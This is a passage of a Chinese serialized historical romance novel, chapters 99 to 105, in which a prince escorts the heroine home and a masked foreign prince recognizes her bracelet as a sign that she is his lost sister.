终于,她忍不住咬了咬唇,心一横,便开口道“殿下,这里离衣府已经很近了,云儿可以自己走回去。不如,殿下就此将云儿放下,殿下您一定很忙,我们就此别过,可好?” 这话听着好似云淡风轻的。 然轩辕翰路上虽一双俊目紧紧闭起,可衣上云在马车里抓耳挠腮,吹胡子瞪眼的每一个细小动作,他却都一清二楚。 此刻,他心里实在有些猜不透,不知平日里看起来还算大方得体的她,今日为何一副坐立不安别扭至极的样子。这会儿,竟还对他说出这般无礼的话来。 忽然,他依旧保持闭目养神的端坐之态,却似打趣她一般有些玩味地问道“怎么,本王今日不惜屈尊充当你的车夫,将你从城东秦王府送回城西衣府,这没有功劳也有苦劳吧,你竟如此不懂得感恩,连茶水都不舍得请本王用吗?” 衣上云摆着手,急道“不不不,殿下,云儿不是这个意思。只是...殿下尊如神邸,云儿身份卑微,若是殿下与云儿同时出现在衣府门前,那街坊邻居们见了,定会闲言碎语满天飞的。” 她说着说着顿了一下,心里不禁生出一丝悲凉,继续道“云儿是个被人退过婚的女子,名声早已是一片狼籍,自是无所谓。但万万不能坏了殿下您的声誉啊,殿下可是这西秦国所有子民的骄傲,心中膜拜的神呢!” 话音刚落,轩辕翰突然睁开眼睛迅速逼身到衣上云眼前,俩人四目相对。 衣上云本来还有些歪斜慵懒的坐姿,顿时惊的直挺起来,身体如同僵住了一般,惊恐地睁大了那双好看的凤眼,俩人距离近的都能听到彼此那强而有力的心跳声。 &nb 第九十九章:七尺男儿,岂能荒唐一世 衣府上下纷纷跟随衣上坤俯首跪拜“参见秦王殿下千岁千岁千千岁。” 然轩辕翰却并不着急让众人起身,半晌后方才缓缓转过身来。 却径自朝着衣上云身边走去,伸出一只无比安全的大手将其扶起身来,冷厉地看向一旁众人,缓缓问道“方才,是谁竟胆敢在本王的面前训斥本王府上的人?” 衣上雪深埋着头战战兢兢地跪着,瑟瑟发抖,想必此时定是吓得不轻。 衣上坤朝其看了一眼,急道“回殿下,是微臣的小女不懂规矩,冒犯了殿下,还望殿下恕罪。” 轩辕翰听了冷哼一声,道“哼...衣药师好家教,竟教出一对如此伶牙俐齿、口若悬河、仗势欺人、满口污言秽语的好儿女。” 衣上坤听闻大惊失色,豆大的冷汗直冒着,急道“殿下赎罪,都是微臣的错。微臣失职,微臣失职。” 这时,衣上云向四周环顾了一眼,担心如此再说下去定会引来周围邻居和路人的观望,于是急急上前跪下,提醒道“殿下,请别忘了方才您答应过云儿的事。” 轩辕翰似是有些无奈地看着她,这才松口道“衣药师,本王府上的人,从来都轮不到别人来训戒,你可明白了么?” 衣上坤惊恐地俯首急道“微臣明白,微臣明白。” “都起来吧,以后若敢再犯,本王定不轻饶。”众人闻声,这才都小心翼翼地缓缓起身来。 衣上坤一起来,便朝着轩辕翰近身上前笑脸相迎,道“殿下请入府稍作歇息。” 然轩辕翰的眼睛却始终都只在衣上云一人身上,从不曾移开,这时衣上云已起身来正欲过去搀扶年氏。 不经意间,轩辕翰忽然瞥见一旁正在对他一脸膜拜,高昂着头痴痴愣着的衣上俊,便开口问衣上坤,道“你家公子如今是何营生?” 衣上坤听闻面露难色,似是难以启齿,又一脸无奈地道“微臣失职,犬子无才无能,并无正业。” 轩辕翰嗤之以鼻,冷哼一声,对一旁的程良悠悠道“本王方才见他与女子争斗如此骁勇...程良,将他收入你的麾下,好好调教。身为我西秦国堂堂七尺男儿,岂能如此荒唐一世。” 衣上坤听闻大惊,可还没来得及反应,衣上俊便闻声一脸惊喜地疾跑过来俯首跪拜道“谢秦王殿下,俊儿定不辜负殿下期望,誓死追随殿下。” 他激动地一将话说完,便一头重重地叩了下去。 这时,兰姨娘在衣上雪的搀扶下,俩人将目光一齐急急看向衣上坤,脸上的表情确是五味杂陈着。 显然,他们并不乐意轩辕翰做的这个安排,确是敢怒而不敢言。 回过神后,轩辕翰最后朝衣上云一个驻目,方才朝衣上坤冷冷说了句“不必 了。” 接着,便急急回头,身影一跃就上了马车,即刻调转车头,径自一路向东驶去。 只留下衣上坤全家上上下下,所有人都被方才所发生的一切,惊呆了。 衣府东侧街口,一个名曰‘赵记茶馆’门前。 遮着蝶形银白面具的梅志煊和侍卫,眼睁睁地看着轩辕翰的马车从俩人面前经过。 方才俩人就一直坐在茶馆门口的摊位上,远远看着眼前所发生的一切。 茶馆的掌柜,瞧着约莫四十多岁的样子。他趴在柜台边暗自琢磨着瞅了半天,见此俩人实在眼生。 又见梅志煊虽未以真面目示人,但依稀可见其气质非凡,便亲自走过来提着一壶好茶,想要搭讪。 梅志煊见其笑盈盈地走过来,便指着衣府方向先开口问道“请问店家,那户人家是做什么的?” 掌柜这地儿是前店后院的格局,祖上三代都是久居于此的生意人。 用他自己常跟别人打趣的话说“他们家在他爷爷的时候是头牛,家产万贯;等到了他爹那一代家业败了一半,于是变成了一只羊;而到了他这代,年轻气盛时,整日里赌博抽烟,这家便成了一只鸡,如今也就守着这座小店清闲度日了。” 所以,他自是很了解这片地方。 梅志煊既然先开了口,他便也没有丝毫顾虑地自然而然在其旁边坐了下来,疑惑地问“听客官的口音,好似不像是西秦人吧?” 梅志煊叹了口气,幽幽道“哦,实不相瞒,我们来自东宁国,到西秦来寻找一位失散多年的亲戚。岂料这茫茫人海,事过境迁,如今竟是已不知如何去寻了。” 掌柜的恍然大悟,道“原来如此。这年头,最难的就是居无定所,颠沛流离。若是再遇上兵荒马乱的,就更难寻了。” 梅志煊一回神,又问道“请问那户人家……” 掌柜的这才急急答道“哦,那是宫里御药房衣药师的府邸。” “原来是在西秦皇宫里当差的,那他们可是亦世代久居于此呢?”梅志煊方才大悟,又急问。 掌柜的急忙否认道“不不不,这衣府的府邸是17年前才有的,那年他升了大药师,才买下了这座宅子。” 梅志煊闻之心中甚是惊喜,激动地说道“17年前,掌柜的不会记错?!” “年轻人,我赵某人虽已年过四十,但眼睛 第一百章:守株待兔 掌柜的轻笑一声,又摇了摇头,道“哼…一入宫门深似海,哪有那么容易出来。当时衣上坤在宫里摊上了事儿,被大理寺关了起来,还是这大小姐挺而走险代他寻回仙草,这才被皇上饶恕。可这大小姐却遭连累,被惩罚入宫做了一名深宫里最不起眼的奴才。后来在宫里被责罚,冰天雪地里跪了十二个时辰,落下了严重的腿疾。估摸着是看她命不久矣,怕死在宫里晦气,也脏了那富丽堂皇的宫殿,便又将其赐给了城东秦王府。眼下过了这元宵节,便要去当差了。反正,这辈子注定到哪儿都是伺候人的命了,还不知道能活多久呢?” 梅志煊听闻,一双搭在膝上隐在茶案下的手愤怒地紧紧握起,稍作思索后又问“那掌柜的可知在宫里,她是被谁责罚,又因何故?” 掌柜的略一回想,便道“好像是因为宫里玥公主和亲的事情,那大小姐为公主向皇上求情,冒犯激怒了皇上,被皇上下令在冰天雪地里罚跪十二个时辰。后来还是秦王出面献策方才保住其一条性命,否则怕是真的当场就要给冻死了。” 掌柜的说完,长叹一声,又惋惜地摇起了头。 “原来这些年,她经历了这么多事,受了这么多屈辱。西秦皇帝,竟如此待我东宁嫡公主,有朝一日,本皇子一定要你加倍偿还。”梅志煊听了眉头紧皱心中狠狠暗道,一只手紧握着手中的茶碗,似要将其捏碎一般。 许久后,一回神,梅志煊又问“不知对于衣老爷以前的事,掌柜的知道多少?比如说在有这个府邸之前,他住在何处,又以何为生? 掌柜的顿时面露难色,直摇头道“这个还真不知,估摸着这里也没人知道。刚开始的时候,那衣老爷也偶尔来这里喝茶,有人好奇问及他的时候,他总是支支吾吾的,貌似极不情愿提及的样子。后来,渐渐地,他也就不来了,可能是不太愿意让别人知道他的过去吧...” “多谢掌柜的。”沉思了半晌后,梅志煊和侍卫方才起身来。梅志煊从身上摸出一锭金元宝,轻轻推到茶案上掌柜的面前,说罢,便转身大步流星地离开。 掌柜的一见,顿时瞪大了眼睛,怔在原地望着那锭金灿灿的金元宝一动不动,惊呆了。 等到许久终于反应过来的时候,拿起那锭金元宝口中自言自语道“这究竟是什么人呢,出手竟如此阔绰?” 说着,眼睛便朝向衣府的方向一脸悠长的望了过去。 走出赵记茶馆,梅志煊与侍卫特意来到衣府门前,凝神驻足着观望了许久,方才离开。 “殿下,您觉得这位衣府的大小姐,到底是不是咱们寻找了多年的嫡公主呢?”刚一转身,侍卫疑惑地问道。 梅志煊似是在暗自 思量着什么,听到侍卫的话,略一沉思,说道“现在,尚还不能做最后的定论。毕竟到底那个衣老爷与他那正室,究竟是不是当年嫡母后临危授命的那对夫妇,还不得而知。就依那茶馆掌柜所言,他似是对以前的旧事很是隐秘。但越是极力隐藏,这其中便越是大有文章。但本皇子的直觉告诉本皇子,十有八九应该就是她了。为今之际,怕是只能由一物来最后确认她的身份了。” 侍卫尤为好奇地急问道“殿下所说的是何物?” 梅志煊舒了口气,道出“凤凰印迹” “凤凰印记,那是什么?”侍卫惊声道。 梅志煊略一迟疑,说道“嫡母后曾经说过,她们家族,凡是本族血脉生的女子,身上都有一个与生俱来的凤凰印记,此为她们的专有印记,举世无双,独一无二。” 侍卫瞬间明白过来,急道“殿下的意思是...验身?” 梅志煊凝神默认,眼里却露出一丝难色。随即吩咐侍卫道“发消息回去,就说本皇子暂且不回东苑了,那边的消息及时传过来,我们就在衣府附近安顿下来...守株待兔。” 衣府前厅里。 兰姨娘正坐在桌案边,气的瑟瑟发抖,牙齿咬的咯咯作响,一双怒目直瞪着衣上云,此刻似能喷出火来。指着衣上云的鼻子怒骂道“你还真不愧是个名副其实的丧门星,遭人退婚,害的衣府颜面尽失。这新年第一天,又闹出这等事来,你是不是要害得整个衣府家破人亡才安心?老爷,无论如何,今天你一定要给妾身一个交代,呜...呜...呜...” 衣上坤则双手负后着在厅中,不停地一边踱着步,一边唉声叹气。他如今亦是真的焦头烂额,一向秉持中庸之道的他,越是怕什么,便越是来什么。 在宫里,他明明不想卷入任何一方势力当中。可如今不仅连衣上云保不住了,就连唯一替他传宗接代,养老送终的亲儿子,方才也被轩辕翰亲点收入其军营。 跟着程良,便是铁板上钉钉子,注定是要上战场杀敌的。正所谓刀剑无影,那日后,过的便是在刀口上舔血的日子,这让他如何安心呢? 就连年氏也在一旁露出一脸忧色,拉着衣上云的手低着头默不做声。 &nb 第一百零一章:意外的红包 夜色如墨,皓月当空。 难得一场颇为愉快尽兴的晚饭刚过,衣上云正坐在明月阁的窗前一手托着腮,仰头入神地望着夜空里悬着的一轮皎洁明月发呆着…… 不知为何,今夜她竟已不再只是望着那面墙发呆了。 忽然,丫鬟燕儿手里捧着几枝从院里新折的红梅上楼来,所到之处,飘过一缕缕沁人心脾的淡淡梅香。 她轻轻地走到衣上云的身旁,将其缓缓插入她身旁的青花瓷瓶中,衣上云竟浑然不觉。 许是因了由仙草腊月春合成的奇药,已彻底治愈了她的腿疾,所以她整个人的精神状态看起来都很不错。 燕儿又故意在她面前驻足端详了许久,她仍只是痴痴地对着窗外的明月发呆。 看到她此时脸上漾着一抹好看的胭脂绯红色,燕儿眼睛一转,泯着嘴诡异地朝她笑了笑,便开口打趣她道“这秦王府的胭脂虽都是上等的名贵货,可小姐也不能抹这么厚呀?” “是么?”衣上云听闻此言,方才急急回神尴尬地朝脸上摸去。 “扑哧”燕儿看见她忙手忙脚的样子,盯着她的模样顿时捂嘴笑出了声。 衣上云这才发现被燕儿捉弄,脸上立即露出一丝不悦,脱口即道“好哇,你这个丫头,如今是越发地会嘲笑你家主子了。我还正在想秦王殿下的寝殿里怎么会有胭脂……” 衣上云说着,似是突然发现自己说漏了嘴,便急急停了下来,低头眼睛躲闪着。 然燕儿虽人小,可一点也不含糊,闻之即时瞪大眼睛惊道“小姐说什么?秦王殿下的寝室?燕儿没听错吧?小姐你…昨夜住在秦王殿下的寝室?那你与殿下俩个……” 衣上云听着燕儿此时离奇的思索,急急抬头阻止道“不是你想的那样,殿下他住去了承华殿,只有我一人住寝殿。” “哦,原来如此。我们小姐去了一趟秦王府,整个人都不一样了?”燕儿故意拉长声调说道。 “不一样?哪里不一样了?”衣上云疑惑道,似是有些心虚目光又有些回避闪躲。 此时,燕儿一手负于身后,神秘地说道“小姐昨儿傍晚出门的时候,燕儿给小姐身上做了记号。可今日小姐回来,燕儿却发现小姐和昨日就是不一样了,这可怎么办才好?!” 一听到燕儿说身上做了记号,衣上云自然而然地就想起了那道吻痕来,心里暗道“难不成是被那丫头发现了?” 随即便露出一脸的尴尬之色来。 燕儿见自己诡计得逞,已成功逗的让衣上云有些坐立不安。方才缓缓伸出身后隐藏着的那只手来质问“老实交代,这个新年红包是不是就是秦王殿下给的?” 衣上云这才闻声缓缓抬起头来一本正经的看过去,却看到燕儿手里 真的拿着个大红包,此时正在她面前晃来晃去着,她连忙起身来问道“这是从哪儿来的?” 燕儿嘟起嘴有些疑惑,随即将红包递向衣上云,有些惊讶地说道“这个红包就放在小姐昨日出门披的那件红底白梅的斗篷里啊,难道…小姐不知道?” 衣上云略一回想,清晨她在秦王府见灵儿的时候,本还想给她派个红包,无奈当时找遍周身也都分文未见。 这会儿,竟让燕儿从她的斗篷里轻而易举地便翻出了一个如此制作精致的红包。 她急急打开来看了看,竟是张银票。那银票上盖着的,正是秦王府朱红色的印章。 衣上云恍然大悟:原来不知何时,轩辕翰竟已如此有心地悄悄在自己身上塞进一个大红包。 顿时,她心中似是有些被其动容,不禁凝神口中喃喃道“殿下……” “殿下?是秦王殿下?”燕儿耳朵极为敏锐地闻之,问道。 衣上云急急回神,却没有再故作掩饰。或许,如今,只有燕儿,才是她在这个时空里,唯一能毫无顾忌的倾诉对象了。 于是,她认真亦坦然的朝燕儿点了点头,表情却似有些忧虑。 燕儿瞬间喜道“看来,这个秦王殿下真的对我们小姐是极好的。这大过年的,还不忘给我们小姐派个红包。” 说着说着,燕儿顿了一下,似是想起了什么,即刻又转为气恼道“不像那个兰姨娘,小姐帮了二少爷那么大的忙,她竟连个谢字都没有。这秦王殿下要不是看在小姐的面上,岂会收二少爷那样的荒唐纨绔子弟入营?……” “嘘”燕儿滔滔不绝地还未说完,便被衣上云的嘘声打断“你这个丫头,怎么总是不把我交代的话放在心上呢?如此下去,早晚有一天要惹出祸事的。” 而一说起祸事,她又不自觉地想起了在秦王府昏迷中,轩辕翰所讲的那个可怜的夫人的事。 随即咬了咬嘴唇,深深叹了口气“唉……” “小姐为何忽然如此长叹?是因为燕儿方才说的话么?”燕儿又被小主人警告,不紧咧了咧嘴。又见其面露忧色,于是自责道。 衣上云忽然表情严肃,凝神看着眼前燕儿刚刚插好的血一般鲜红的红梅,幽幽道“燕儿,你说这世上到底为了什么,才会让一个母亲连自己肚子里骨肉的安危都不顾,甚至宁愿舍弃母子俩人的性命,却只为了救个偶遇的路人呢?” 燕儿略一思考,答道“那定是让被救的这个人活着很重要呗,要不怎么会以俩人的性命换一人之命呢?” 衣上云听闻,似乎燕儿说的也不无道理。但仍不解地问道“可是,他们是第一次遇见啊,又如何谈得上重要亦或不重要?” 燕儿眼珠子一转“哎呀,小姐,你难 & 第一百零二章:去万娇阁,捎你一程 是夜,城东秦王府内外灯火通明。 轩辕翰刚刚从衣府回来,一进门,轩辕昊和轩辕玥便急急迎了出来。 “玥儿拜见秦皇叔” “昊儿拜见秦皇叔” 俩人一上来便喜盈盈恭敬地朝其行礼道。 轩辕翰顿足一惊,依旧冷冷道“你们俩怎么来了?” 话音未落,却已径自踱步朝着承华殿而去。 轩辕昊和轩辕玥这才急急起身来,亦紧随其后前往大殿。 一到大殿,轩辕翰便直奔着书案上的一叠公文而去。只是在落座的时候,余光微微扫了一眼立在一旁默不作声的轩辕玥。 因为之前衣上云的事,轩辕玥在轩辕翰面前如今已是收敛规矩了不少,只有轩辕昊依旧毫无忌惮地施展着其三寸不烂之舌。 轩辕昊一看这个皇叔多年不见,仍旧是一副冷漠无趣的老样子。 他机灵的眼睛咕噜一转,心念一动,想了想,便故意提高嗓音道“秦皇叔难道忘了,尚还欠着昊儿与皇姐东西呢?昊儿是特意与皇姐随秦皇婶一道亲自上门来取的。昨日便来了,只是…没想到即使新年,秦皇叔亦是如此忙碌。” “哦?本王怎么不记得有欠过你们什么东西?”轩辕翰闻之忽抬起头,极为肯定地说道。 一旁的程良亦是琢磨不透地看着眼前这俩个小鬼,不知其意欲何为? 这时,轩辕昊忽学起大人的模样,长叹口气“唉……昨儿除夕夜里,秦皇叔给昊儿和皇姐的新年红包可派了么?…看来秦皇叔完全不懂得孩子过年的乐趣啊,这要是自己府上有个一男半女的话……” 原本轩辕翰只默不作声地一边翻看着公文,一边想听听这轩辕昊今日里究竟葫芦里卖的什么药。 而当其听到一男半女这四个字时,瞬间猛一抬头朝其厉声训斥道“荒唐,有这个时间,为何不呆在宫里多熟读研习一些治国安民的良策。你以为这西秦国,如今真的已如此国强民富了么?” 轩辕昊惊讶地抬头望着他,努起嘴,没想到这皇叔竟还是如此不懂得幽默,顿时变得哑口无言。 见轩辕昊的小伎俩在轩辕翰面前根本不凑效。轩辕翰一脸怒容,正待发作时,轩辕玥怯生生地开口道“秦皇叔请息怒,玥儿和皇弟只是想借机出宫来,想知道一些关于云儿的情况。许久未见,不知她的腿疾如何了?玥儿为此甚是忧心,如若她真的...那玥儿自是难辞其疚。” 轩辕玥言语诚恳,轩辕翰闻之,方才语调有所缓和下来“她的腿已经痊愈了,从寒荒山寻来一神草,已让人合成药给她服下。” “什么?这真是太好了!”轩辕玥与轩辕昊俩人顿时惊喜道,面面相觑着。 而轩辕昊稍一迟疑,又忍不住好奇地转 头看着轩辕翰的脸,问“寒荒山?可是那传闻中地势险要且积雪冰川常年不散、一片死寂、荒无人烟、高约二千丈的太冥寒荒山?如此如人间炼狱般的地方,谁竟有如此这般的本事和勇气敢去挑战?” 显然,轩辕翰并不被他的言语所动容。轩辕昊未能解惑,仍不放弃。于是,又将眼光扫向了立在一旁的程良,程良朝他悄悄使了个眼色。 轩辕昊立刻明白过来,这个秦皇叔对那丫头果然是极不一般,那般危险的事,竟也毫不眨眼一下。 于是,偌大的宫殿里一片寂静无声了下来。 第二日,城西衣府里。 早膳刚过,衣上云便去跟衣上坤扯慌,秦王府有个很是照顾她的年迈的老嬷嬷,其亲戚在城南谋生,已经很久没了音信。昨日在秦王府见了她,便拜托她辛苦代为跑一趟,捎些东西给这位亲戚。 衣上坤一听是与秦王府有关的事,如今亦是敢怒而不敢言。 再仔细一想,衣上云不久后便要上秦王府当差,有个人能够帮扶照料着,也并非不是一件好事儿。 最后,他只得睁一只眼闭一只眼地允了她。 这会儿,衣上云便急急独自迈出了衣府大门,直奔向丫鬟燕儿昨晚所说的街口的赵记茶馆。 茶馆赵掌柜远远的一见,是自己的财神爷上门了,便急切地从店内奔出来亲自相迎。 一出来便满脸惊喜地问候道“呦,这不是衣府的大小姐么,今日怎么有空来我这茶馆里坐啊?”说着,便眼疾手快双手恭敬地奉上了几盘糕点和一盏清香扑鼻的上好花茶。 衣上云面露笑意,缓缓接过。谦逊地说道“赵掌柜,实不相瞒。我是听说赵掌柜祖上三代久居于此,对这方圆百里的诸事皆无所不知。所以,今日特意前来向您打听个地方,还望赵掌柜的能帮帮忙。” 说着,便将一锭银子奉上。赵掌柜的一见银子,果然喜逐颜开,立马精神头十足。 他略一犹豫,疑惑地问道“不知大小姐想要打听什么地方?” 衣上云似是有些不好意思,略一迟疑,压低了声音凑到其跟前“城南万娇阁。” 赵掌柜一听,顿时大惊失色道“大小姐你...你一个尚未出阁的大家闺秀,怎会打听这种不入流的烟花之地?” 衣上云急忙摆手,解释“赵掌柜不要误会,我也是昨日第一次听一位老人家提起,她的亲戚半年前…被拐骗到那里,老人家甚是担忧,又有一个小孙女拖累,不能亲自前往探视。故托我前去帮忙探望探望,至少知道那亲戚如今是死是活,是否安好?” “到了那种地方,怎么可能会好呢?”赵掌柜有些蔑视地说道。 “可如 第一百零三章:长相思 城东秦王府。 “程良”轩辕翰结束了今日的早朝回到府里,刚在承华殿里坐下,又像是想起了什么。 程良听闻,很快进来恭敬地朝其行礼“殿下有何吩咐?” “公主和太子呢?”轩辕翰问道。 程良略一犹豫,只怯怯地回禀道“早起殿下刚出门,太子便与公主也一同离开了王府?” “他们回宫了?”轩辕翰似是有些惊讶地问,要知道这俩个主,可一向不是那么轻易便会乖乖自己回宫去的。 程良忙道“不是的,太子和公主出门前,给府里的侍卫留了话,说殿下要是问起,便让说是去了城东的集市上闲逛。属下想,他们应该是去衣府找衣姑娘了。” 轩辕翰这才恍然大悟。随即,便欲低下头去处理手头的急件。 这时,程良的脸上忽然挂起一丝难色,犹犹豫豫的样子,轩辕翰又抬头看了他一眼,一边将一只骨节分明的大手伸向一封放在桌案角上的公文,一边淡淡地问道“发生了何事?” 谁知程良愣了半天,又咬了咬嘴唇,竟忽然“扑通”一声跪了下去,将刚刚收到的惊人消息脱口而出道“殿下,属下该死,刚刚收到万娇阁的消息,说…玉娘不见了。” 轩辕翰惊讶地猛一抬头,怒道“怎么办事的?” 程良惶恐道“属下在万娇阁部署的人,本一直都在严密监视着。近日,本打算将北烈大皇子拓跋泽的画像交于玉娘,却忽然发现她不见了。属下当即便派人几乎都已经将万娇阁翻了个底朝天,也没有找到,不会是已经……” 轩辕翰略一思索“如果部署没有问题,那么她人,便一定还在万娇阁里……” 说完,便望向窗外,又继续陷入沉思。 程良亦是极为纳闷“属下都已经派人将万娇阁四面八方,守得密不透风。她根本不可能凭空消失的啊,可如今确实探不到玉娘半点儿踪影。” 正在俩人都陷入深思时,轩辕玥和轩辕昊俩个如同火烧屁股般地直冲大殿进来,轩辕昊跑在前面,嘴里大喊着“秦皇叔,不好了,不好了,出大事了……” 轩辕翰闻之,急急回神来,抬起眉眼朝外看了一眼,不知道这俩小祖宗这次又闯下了什么祸事…… 轩辕昊气喘吁吁地一路奔跑进来,跨过大殿门槛的时候,一个没留神,竟差点被绊倒扑趴在地上。 轩辕玥眼疾手快地连忙从身后将其拽住,轩辕昊却来不及顾忌那么多,只急急上前到轩辕翰身边,来不及喘气便结结巴巴地说道“秦皇…皇…皇…皇叔,不好了,云儿那丫头她…她…她去万娇阁了。”轩辕玥亦朝其神色慌张,拼命地点着头。 轩辕翰大惊,顿时站起身来稍一迟疑,说道:“什么?!…程良” 程良迅速反应:“是” 还没等轩辕昊和轩辕玥顺过气来,將话说完,轩辕翰和程良便已消失在大殿中。 俩人已然来不及缓过气,又连忙回头急急跟了出去。 一出王府大门,四人便策马疾驰,直向城南万娇阁方向而去。 轩辕翰这才详细询问起“到底怎么回事,给本王仔细说清楚了。” 轩辕昊稍加整理思绪后,说道“今日早起,昊儿与皇姐本打算去衣府给云儿一个惊喜,没想到开门的一个叫燕儿的丫鬟告诉我们云儿一早便出了门,我们问她云儿去了哪里,她就支支吾吾的说不清楚。后来带着我们到了衣府街角的一个小茶馆,那个掌柜的一开始也是犹犹豫豫,不得已,昊儿只能亮出身份逼迫,他方才说了真话。说是云儿与俩个男子一道同行去了万娇阁。” “俩个男子?”轩辕翰心生疑虑道。 “是,昊儿已经逼问过了。茶馆的掌柜说,近日里,茶馆来了位出手十分阔绰的陌生男子,问了许多关于衣府过往的事,尤其是关于云儿的事。这几日更是几乎终日里都在茶馆里守着。今早,云儿到茶馆问他万娇阁的地址。他也顾忌到云儿是个未出阁的女子,便好生阻拦,可最终却还是没能拦住。” 轩辕翰急道“那与那两名陌生男子又有何关联?” 轩辕昊忙道“因是新年正浓,车夫基本都已在家中歇业。于是,那两名男子便扬言亦要去城南万娇阁谈生意,故才以此为借口与云儿结伴同行了。” 轩辕翰略一沉思,喃喃细语“这哪里是巧合,分明就是早有预谋,故意等在一旁守株待兔着。是本王又大意了,早该派人日夜守着衣府才是。” 说完,接着又问“可有打听到那俩名男子的来路?” 轩辕昊正在回忆,轩辕玥连忙抢过话“茶馆的掌柜说,那俩人并不是西秦人士,自称是……东宁国人。” 轩辕翰闻之一惊,立刻抬头看向轩辕玥,轩辕玥亦是心里有所怀疑着。 这时,轩辕昊插嘴疑问道“皇叔,你说云儿那丫头,她去那种地方做什么?” 忽然,后面紧跟着的程良似是想起了什么,便匆匆开口道“殿下,除夕夜里,属下去给灵儿婆孙送衣物。经过林月轩时候,看到衣姑娘独自一人在沐雪听寒,便过去说了她两句。她当时知道了灵儿婆孙俩还尚在王府里,会不会是她后来去见了灵儿婆婆,知道了玉娘的事。糟了……” 程良话音尚还未落,轩辕翰的目光便变得更加凌厉,使劲儿挥了挥手中的鞭子“驾”一声,随即用力夹紧了马肚子飞驰起来。 众人亦是全都紧紧皱起了眉头,心中都即刻涌上了一种同样不祥的预感。 城 第一百零四章:江大哥 一辆马车由西秦国的西边一路向南,在道上疾驰着,卷起阵阵黄土飞扬。 车内的一男一女,正是衣上云和梅志煊,侍卫在外面仔细的驾着车。 许是速度太快,车轮忽猛地一颠,车内的俩人瞬间东倒西歪。衣上云本能的紧紧抓住车厢边框。梅志煊急急扶了她一把,随后大叫:“慢点!” 衣上云连忙阻拦他“无妨,还是快点儿赶路比较好。” 这时,梅志煊一双深邃的眼眸渐渐专注在她的身上,最后缓缓移向她的双膝,衣上云似是有所觉察,用手遮掩着。 梅志煊稍一迟疑,开口打破了这尴尬的气氛“听说姑娘的双腿落下了严重的腿疾,不知现在如何了?” 衣上云一惊,立即抬头望向了那张遮着蝶形面具的脸,道“公子是如何得知此事的?...喔,一定是听那赵掌柜所言的吧?!谢公子关怀,已经被一位世外高人的药方医好了。” “真的?那真是太好了!”梅志煊闻之大喜。 衣上云朝她淡淡地笑了笑,随即边撩开帘子向外张望,一边开口问道“我们还有多久才能到万娇阁呢?” 不知为什么,她越来越觉得心慌的厉害,像是有什么大事要发生的样子。 “小姐稍安勿躁,我的马车定比那街上任一车夫的都快。万娇阁,前方不远处便是了。”梅志煊淡定道。 看到衣上云闻此,依旧如坐针毡,心神不宁,梅志煊便分散其注意力,道“对了,还未请教小姐的闺名是……” 果然,衣上云闻此匆匆放下车帘回过头来,道“小女衣上云,敢问公子尊姓大名?” 梅志煊稍一迟疑,说道“在下姓...江,名志煊,小姐如若不嫌弃,便叫我江大哥吧。” 衣上云顿感亲切,便笑吟吟地对其说道“好啊,那云儿便叫你江大哥吧。” 衣上云这才抬起头来,仔细看了梅志煊一眼,如此近距离的看着他,突然感觉这副蝶形面具下的一双眼睛似是在哪里见过一般。 略一犹豫,怀着些许好奇,她开口问道“不知江大哥为何要以面具示人呢?” 梅志煊一听,脱口反问她道“那云儿又为何要以面纱示人呢?” “我…因为云儿脸上有一个红色胎记,唯恐冲撞到别人,故而为之。”衣上云已记不清自己是第几次为此而与人做解释了。 这时,梅志煊哈哈笑道“江大哥与云儿是一样的。” 衣上云闻之一惊,却又顿时显得有些抱歉,于是再次抬起头望向他“江大哥你也…,对不起。” 梅志煊疑惑“云儿为何要致歉?” 衣上云含着歉意说道“云儿不该提起大哥的伤心事,是云儿太唐突了。” 谁料梅志煊却又是一声爽朗的笑声“正所谓人不 可貌相,海水不可斗量。以容取人乎,失之子羽;以言取人乎,失之宰予。世人又岂能以貌取人呢?再说了,我们兄妹如今也算是同病相怜,云儿又何必以此小事心中耿耿于怀?” 衣上云听他并未生气,也就安心了下来,冲着她微微一笑,甚是迷人。 不知不觉中,她又默然低头看向了自己手腕上的那只废了的七彩金丝彩玉镯子。 这时,梅志煊的目光亦瞬间被紧随其目光一同望向的衣上云腕上的那只金丝玉镯所吸引,一时间只觉得这镯子竟是如此熟悉,仿佛是…… 回过神来,梅志煊略一迟疑,问道“云儿这只金丝玉镯甚是精致,不知是从何处得来,在下也想得一只。” 衣上云听了顿时一愣,她定是不能与他说这是她从21世纪穿越而至所带来的未来世界里的物件,那便只能将计就计,将这一切都推给那个逝去的人身上。 于是,她略一沉思,脱口说道“这镯子…是父亲一位已故去的好友相赠,所以,云儿并不知哪里能买得到。” 梅志煊急切地想要仔细确认一番,便道“云儿可否摘下来让在下仔细观赏观赏?” 衣上云虽心中暗自疑惑,一个大男人为何会对这种女儿家的首饰如此着迷,但也没有太多顾忌地便将其摘下来递到梅志煊手中。 不知为何,梅志煊一将其捧到手心,竟心中顿觉亲切不已,仿佛如同嫡母后此刻就在他身边,并未离去,这上面充满的都是她慈爱的美好气息。 顿时,他激动地不得言语,紧紧盯着手中的这只金丝彩玉镯子惊呆了,心中暗道“是的,没错,就是它,真的是它,这只七彩金丝彩玉镯子正是嫡母后生前贴身所带之物,没想到它竟然没有同嫡母后一同离世。” 衣上云见梅志煊看的入了迷,心中甚觉疑惑,便问道“这只镯子并不是这世间有多名贵的物件,江大哥为何如此着迷?对了,听江大哥的口音好像并不是西秦人,这大过年的全家团圆的日子,为何会独自漂泊在这异国他乡呢?” 梅志煊闻之这才回过神来,沉思片刻,抬头深情地看着她的眼睛,说道“江大哥来自东宁国,此行是来西秦找寻丢失了17年多的妹妹的。” 衣上云闻之一惊,急道“江 第一百零五章:琼枝一树,又一白袍公子 正在俩人说话间,疾驰在道上的马车忽然渐渐慢了下来。 “是不是万娇阁到了?”衣上云说着,伸手掀起车帘来朝外看去。 不想,马车竟是停在了一间有三层阁楼,名曰“如意居”的客栈门前。 看着里面似是热闹非凡,门口的客人进进出出络绎不绝! 衣上云见了,急急回过头来疑惑地问道“江大哥,我们不是要去万娇阁吗?怎么会到了这‘如意居’?” 梅志煊冲她微微一笑,说“不着急,我们先下去吃个饭,再说了…云儿难道不觉得你的这身打扮去万娇阁很不合适吗,是不是该换个装扮?” 梅志煊打量着衣上云身上的一袭红装,一将话说完,便起身来一步跃下马车。 留下衣上云独自一人坐在马车内蹙眉嘟着嘴一脸狐疑,口中喃喃自语道“换个装扮?” 这时,梅志煊在车外催促道“再不下车,天就要黑了。” 衣上云这才急急站起身来,梅志煊伸手扶了一把,她便很快地也下了车来,随即紧跟在梅志煊身后跨进如意居里去。 很快,俩人便被客栈掌柜的亲自带到了位于二楼东面,两间相邻的坐北朝南的天字号客房。 